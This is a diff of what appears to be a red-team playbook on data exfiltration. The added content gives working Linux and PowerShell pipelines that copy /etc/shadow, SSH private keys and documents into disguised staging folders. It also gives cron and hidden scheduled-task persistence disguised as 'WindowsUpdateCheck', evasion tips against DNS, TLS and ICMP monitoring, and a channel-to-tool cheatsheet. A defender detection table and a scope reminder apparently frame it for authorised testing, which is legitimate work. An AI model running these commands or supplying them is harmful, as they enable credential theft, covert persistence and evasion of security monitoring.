- impossible to detect without specialized analysis. Use them only when no
- other channel is available and data volume is small (passwords, keys).
+ Timing channels: bits/second throughput, nearly undetectable. Use for keys and passwords only.
---
- ## Physical Exfiltration
+ ## Data Staging
- For air-gapped networks or environments with extreme network monitoring,
- physical methods bypass all network-based controls.
+ MITRE: T1074.001 -- Local Data Staging; T1029 -- Scheduled Transfer; T1030 -- Data Transfer Size Limits
- ```bash
- # USB dead drop -- prepare an encrypted USB drive
- # On your prep machine
- cryptsetup luksFormat /dev/sdb1
- cryptsetup open /dev/sdb1 exfil
- mkfs.ext4 /dev/mapper/exfil
- mount /dev/mapper/exfil /mnt/usb
+ ### Linux Pipeline
- # On the target -- copy data to USB
- cp -r /path/to/sensitive/data /media/usb/
- sync
- umount /media/usb
+ ```bash
+ mkdir -p /tmp/.cache/updates
+ cp /etc/shadow /home/*/.ssh/id_rsa /tmp/.cache/updates/ 2>/dev/null
+ tar czf /tmp/.cache/updates/pkg.tar.gz -C /tmp/.cache/updates .
+ openssl enc -aes-256-cbc -salt -pbkdf2 -in /tmp/.cache/updates/pkg.tar.gz \
+ -out /tmp/.cache/updates/pkg.enc -pass pass:EngagementKey
+ split -b 65536 /tmp/.cache/updates/pkg.enc /tmp/.cache/updates/chunk_
+ sha256sum /tmp/.cache/updates/chunk_* > /tmp/.cache/updates/manifest.sha256
+ ```
- # QR code exfiltration (for small data like keys/passwords)
- # Generate QR codes from data, photograph them with a phone
- qrencode -o qr_output.png -s 6 "$(cat ssh_key | base64)"
+ ### Windows Pipeline
- # For larger data, generate multiple QR codes
- split -b 2000 loot.b64 qr_chunk_
- for f in qr_chunk_*; do
- qrencode -o "${f}.png" -s 4 "$(cat $f)"
- done
- # Photograph the QR codes with a mobile device camera
+ ```powershell
+ $s = "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\V01"
+ New-Item -ItemType Directory -Force -Path $s | Out-Null
+ Copy-Item "C:\Users\*\Documents\*.docx","C:\Users\*\.ssh\*" $s -Force 2>$null
+ Compress-Archive -Path "$s\*" -DestinationPath "$s\update.zip" -Force
+ # Encrypt with .NET AES, prepend IV to ciphertext, split into 64KB chunks
```
- For programmatic QR generation, use the `qrcode` Python library with `{seq}:{total}:{data}` prefixes for reassembly.
+ ### Scheduled Transfers
- OPSEC note: Physical exfiltration requires physical access and carries the
- risk of discovery by personnel. USB usage may be logged by endpoint DLP
- agents (event 6416 on Windows for PnP device connection). QR code
- exfiltration is limited to small data volumes but leaves no digital trail.
+ ```bash
+ # Cron -- one chunk every 30 min during business hours
+ (crontab -l 2>/dev/null; echo "*/30 8-17 * * 1-5 /tmp/.cache/exfil.sh") | crontab -
+ ```
+ ```powershell
+ $action = New-ScheduledTaskAction -Execute "powershell.exe" `
+ -Argument "-WindowStyle Hidden -File C:\staged\exfil.ps1"
+ $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) `
+ -RepetitionInterval (New-TimeSpan -Minutes 30)
+ Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger
+ ```
+
---
## Detection / Defender View
- | Technique | Primary Detection | Key Indicators |
- |-----------|------------------|----------------|
- | DNS tunneling | DNS query analysis | High query volume, long labels, high entropy, TXT to uncommon domains |
- | dnscat2 | DNS payload inspection | CNAME/TXT responses with encoded data, consistent query patterns |
- | iodine | DNS anomaly detection | NULL record queries, large DNS packets, tunnel negotiation patterns |
- | HTTPS tunneling | TLS inspection, netflow | Sustained connections, high upload volume to uncommon hosts |
- | Domain fronting | TLS inspection | SNI/Host header mismatch (requires TLS interception) |
- | Cloud dead drops | CASB, proxy logs | PUT/POST to cloud storage from unexpected hosts |
- | ICMP tunneling | ICMP payload analysis | Non-standard payload sizes, high ICMP frequency, data in payloads |
- | Email exfil | DLP, mail gateway | Large or encrypted attachments, unusual recipients |
- | Steganography | Statistical analysis | LSB anomalies, appended data after file markers, large EXIF fields |
- | Timing channels | Statistical traffic analysis | Unusual inter-packet delay distributions |
- | USB exfil | Endpoint DLP | PnP device events (6416), USB write activity |
+ | Technique | Detection Signal | Defender Tool |
+ |-----------|-----------------|---------------|
+ | DNS exfil | High query volume, long labels, high entropy, unusual record types | Passive DNS, Zeek dns.log, entropy scoring |
+ | HTTPS tunnel | Persistent TLS, beaconing, JA3 mismatch, SNI/Host mismatch | TLS inspection, JA3 fingerprinting, NetFlow |
+ | ICMP tunnel | Large payloads, high ICMP volume, non-standard payload data | IDS payload rules, Zeek conn.log |
+ | Cloud dead drops | PUT to unfamiliar cloud endpoints from internal hosts | CASB, proxy logs, cloud API monitoring |
+ | Email exfil | Large/encrypted attachments, unusual recipients, draft volume | DLP gateway, Exchange audit logs |
+ | Steganography | Entropy anomalies, appended data after markers, stego signatures | StegExpose, file carving |
+ | Covert channels | Anomalous headers, irregular timing, non-standard protocol | DPI, protocol anomaly, ML traffic analysis |
- Key defender controls:
- - **DNS monitoring** (passive DNS, query logging) detects most DNS tunneling by volume, entropy, and domain reputation.
- - **TLS inspection** proxies break domain fronting and enable content inspection of HTTPS traffic.
- - **DLP systems** inspect outbound data for sensitive patterns at the network, email, and endpoint levels.
- - **CASB** (Cloud Access Security Broker) monitors and controls cloud service usage.
- - **Endpoint DLP agents** log USB writes, clipboard activity, and print operations.
- - **Network flow analysis** detects sustained or volumetric anomalies in any protocol.
- - **Sysmon** with network connection logging (event 3) captures outbound connections to unusual destinations.
- - **YARA rules** on egress proxies detect known tool signatures in transit.
+ ### Evasion Notes
+ - Match DNS query rate to baseline; prefer A/AAAA over TXT/NULL records.
+ - Use browser-matching JA3 fingerprints; curl's TLS signature is distinctive.
+ - Keep ICMP payloads under 64 bytes. Rotate cloud buckets. Transfer during peak hours.
+
---
## Engagement Cheatsheet
- ```text
- SCENARIO TECHNIQUE TOOL / COMMAND
- ------------------------------- -------------------------- ----------------------------------------
- DNS egress allowed DNS tunnel (full) dnscat2 / iodine
- DNS only, no infra control DNS query encoding PacketWhisper / custom dig loop
- HTTPS egress allowed HTTPS upload curl POST / Python requests
- HTTPS with domain filtering Domain fronting curl -H "Host: real.c2" https://cdn.com
- Cloud endpoints whitelisted Cloud dead drop Pre-signed S3/Azure/GCS URLs
- SMTP egress allowed Email attachment mail / PowerShell Send-MailMessage
- Only ICMP allowed ICMP tunnel ptunnel-ng / icmpsh
- Content inspection active Steganography steghide / LSB encoding / EXIF embed
- Extreme monitoring, small data Timing channel Custom inter-packet delay encoding
- Air-gapped network Physical USB dead drop / QR codes
- Need reliable IP tunnel DNS IP tunnel iodine (creates tun interface)
- Large volume, speed needed HTTPS chunked upload Python chunked POST with jitter
- Credential/key only (small) QR code qrencode + camera
- Need to blend with traffic Encrypted cloud upload AES + pre-signed URL to major cloud
- ```
+ | Scenario | Channel | Tool | Notes |
+ |----------|---------|------|-------|
+ | Only port 53 | DNS tunnel | iodine, dnscat2 | Slow; slow-drip for stealth |
+ | DNS, no infra | DNS query encoding | PacketWhisper | No auth NS needed |
+ | Web access | HTTPS | chisel, curl | Fastest; blend with traffic |
+ | Domain filtering | Domain fronting | curl + CDN | CDN must allow fronting |
+ | Ping allowed | ICMP | ptunnel-ng, icmpsh | Limited BW; keys/creds |
+ | Cloud access | Dead drop | S3/Azure/GCS URLs | No client tools needed |
+ | Email available | SMTP/EWS/draft | smtplib, exchangelib | Draft = no sent evidence |
+ | Content inspection | Stego + HTTPS | steghide + curl | Carrier must look normal |
+ | Extreme monitoring | Timing channel | Custom Python | Bits/sec; near-undetectable |
+ | Single file < 1MB | DNS TXT | Custom script | No tools to drop |
+ | Large dataset > 1GB | HTTPS or cloud | chisel, presigned URL | Daily chunks |
- MITRE ATT&CK references:
- - T1048 -- Exfiltration Over Alternative Protocol (.001 Symmetric Encrypted, .002 Asymmetric Encrypted, .003 Unencrypted)
- - T1041 -- Exfiltration Over C2 Channel
- - T1567 -- Exfiltration Over Web Service (.002 Exfiltration to Cloud Storage)
- - T1071 -- Application Layer Protocol (.001 Web, .004 DNS)
- - T1572 -- Protocol Tunneling
- - T1029 -- Scheduled Transfer
- - T1030 -- Data Transfer Size Limits
- - T1560 -- Archive Collected Data (.001 Archive via Utility)
- - T1052 -- Exfiltration Over Physical Medium (.001 USB)
- - T1001 -- Data Obfuscation (.001 Junk Data, .002 Steganography, .003 Protocol Impersonation)
+ ### Pre-Exfil Checklist
+ - Verify exfil is in scope per RoE
+ - Identify egress channels; stage in innocuous directory
+ - Compress, encrypt (AES-256 min), split into channel-sized chunks
+ - Generate SHA-256 manifest; test with canary file first
+ - Set rate below detection thresholds; verify receipt and integrity
+ - Securely delete staging and tools; document exfil chain for report
+
---
## Key References
+ - MITRE ATT&CK Exfiltration (TA0010): https://attack.mitre.org/tactics/TA0010/
+ - T1048, T1041, T1567, T1029, T1030, T1132, T1001
- dnscat2: https://github.com/iagox86/dnscat2
- iodine: https://github.com/yarrick/iodine
- - PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
+ - dns2tcp: https://github.com/alex-sector/dns2tcp
+ - chisel: https://github.com/jpillora/chisel
+ - ptunnel-ng: https://github.com/lnslbrty/ptunnel-ng
- icmpsh: https://github.com/bdamele/icmpsh
- - ptunnel-ng: https://github.com/utoni/ptunnel-ng
- steghide: https://steghide.sourceforge.net/
- - chisel: https://github.com/jpillora/chisel
- - MITRE ATT&CK Exfiltration: https://attack.mitre.org/tactics/TA0010/
- - SANS -- Data Exfiltration Techniques: https://www.sans.org/white-papers/
- - The Hacker Recipes -- Exfiltration: https://www.thehacker.recipes/
+ - PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
+ - OpenStego: https://www.openstego.com/
+ - zsteg: https://github.com/zed-0xff/zsteg